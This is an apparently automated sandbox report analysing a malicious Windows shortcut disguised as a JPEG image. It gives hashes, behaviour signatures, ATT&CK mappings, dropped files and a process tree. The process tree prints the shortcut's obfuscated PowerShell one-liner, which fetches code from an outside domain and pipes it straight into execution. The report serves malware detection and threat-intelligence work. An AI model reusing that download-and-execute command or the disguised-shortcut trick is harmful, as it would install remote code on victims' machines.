f28e0a8c188b2471c2e8b802643385485fde54a0e0ef114dce845e8c2a77e485

Analysis

max time kernel
148s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_023509.jpg.lnk
Size 1KB
Sample260728-mcap2svajf
SHA256 f28e0a8c188b2471c2e8b802643385485fde54a0e0ef114dce845e8c2a77e485
MD5 bf85ba12c49eb6d9990d7ca1d5fb1f6a
SHA1 a1e4af0af4d5c062d0e81d87ff4881654698e125
SHA512 8f4343f07b80e9532a0504dbfb59ac076fdc0bf4746a9fed4e0125ce230f7cac9dd26d60ffe59e2cee2f6fa93036c9efc4b5d405b6d855c666a3642e7804af52
TLSH
T17D21E1211BF20329D6BB8F395876731187327A0ADB55CF9F139081989974224F878F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	3360	powershell.exe
4	3360	powershell.exe
7	3360	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2212	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe
3360	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3360	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2212 wrote to memory of 3360	2212	cmd.exe	90
PID 3360 wrote to memory of 4748	3360	powershell.exe	91
PID 4748 wrote to memory of 3460	4748	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_023509.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('op','reservphotoinstaynow.sh')[1,0] -join $tBhqsSA8) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3360
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\agu3iupd\agu3iupd.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4748
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES289D.tmp" "c:\Users\Admin\AppData\Local\Temp\agu3iupd\CSC2AF2FF842D84A31BB734F1715A4A988.TMP"
      4⤵
      PID:3460

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES289D.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES289D.tmp
Size 1KB
SHA256 05b8f2235abd4558f1454cfc60f0ca59f6b7e1c021f2f049659d96663ba379d5
MD5 e50cb93f92a08ae2164da1a0ce7f0c14
SHA1 3a23755ab2fe152cf2d0f052f04820021f004f56
SHA512 56d27e73f072127f059d5a66986d77b81553e3780f6522bf0e812c4d0c494174872be1caf82c1bc9b68de33623304e2c2384309f57f11b2e27e5a5a208d8a119
TLSH
T1CF21EF0653E9470FF0B3473269F6172F9275FC65EFA2A76A954002182C51604EEF0B72
MD5 SHA1 SHA512 TLSH

Submit Download

agu3iupd.dll

Path C:\Users\Admin\AppData\Local\Temp\agu3iupd\agu3iupd.dll
Size 3KB
SHA256 1f20e9ac9a536b763f83eb934f0e1eb2f0e247f82b5dbae52a62d820bc2e06c1
MD5 a46401b9b2f7227e1382caeff9d63b75
SHA1 d5b937a25723fd23935a92af3ef66fa2c71924e1
SHA512 12597b0e028e124cc0264e2e63aef6cc994dbf4ea2179f542c66d605fb0a659848b52061ef90c10cc57524682b7f219273ba64847e1e9dd97d4b6d95f2733775
TLSH
T1F651D917A3E8462BE4B70735AFE3036737B9F8109FB2577959804228AC607646E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC2AF2FF842D84A31BB734F1715A4A988.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\agu3iupd\CSC2AF2FF842D84A31BB734F1715A4A988.TMP
Size 652B
SHA256 d3eecdd4788762cd94514ee486eadecc1eb3d4b629fd7e5463f6d6e155663903
MD5 71dd34c236879690245c2c51db8f70bf
SHA1 33b3fb86bac6861650eb71f33dfc119ad1eb95e8
SHA512 7849d84d0f15fbecbd73bbdc426f917c8b0262b7cb6d71d3ccf31a241589f5e4496807506d8c299d73ec50d8d983bbcf65b45339d3d84bd37658570d9cf7445f
TLSH
T168F05E4963F8520EF1F34B31BDF6436791AABC66DE3293FD655013192C646208972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

agu3iupd.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\agu3iupd\agu3iupd.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

agu3iupd.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\agu3iupd\agu3iupd.cmdline
Size 369B
SHA256 74b9a12e090fdf3cd2ab0f7c31ab77abb1cc17681ba72b0554f4ee78f73bda6a
MD5 c0843bd864b58413925faf492d7b5503
SHA1 00becc652de7a07fd7f005be21fc842b6950418e
SHA512 8c20abfc62f1c8856930849ad8d9f4009eb8d31df985c48c342b4d1e17dd96c6766b35a922baa4b9e0cffcaa5785aa5d9fd5fe9a56d2b126be6d5fdda515a4f6
TLSH
T106E0683B6666CA7D01E920076769C8AC82B20E5369C03F88D042444DD21700027E1742
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3360-9-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download

memory/3360-18-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download

memory/3360-11-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download

memory/3360-12-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download

memory/3360-13-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download

memory/3360-14-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download

memory/3360-15-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download

memory/3360-16-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download

memory/3360-17-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download

memory/3360-10-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download

memory/3360-2-0x00007FFC1769F000-0x00007FFC176A0000-memory.dmp

Download

memory/3360-8-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download

memory/3360-31-0x0000025232550000-0x0000025232558000-memory.dmp

Download

memory/3360-7-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download

memory/3360-6-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download

memory/3360-5-0x0000025218590000-0x00000252185B2000-memory.dmp

Download

memory/3360-32-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download

memory/3360-33-0x00007FFC17510000-0x00007FFC17EB4000-memory.dmp

Download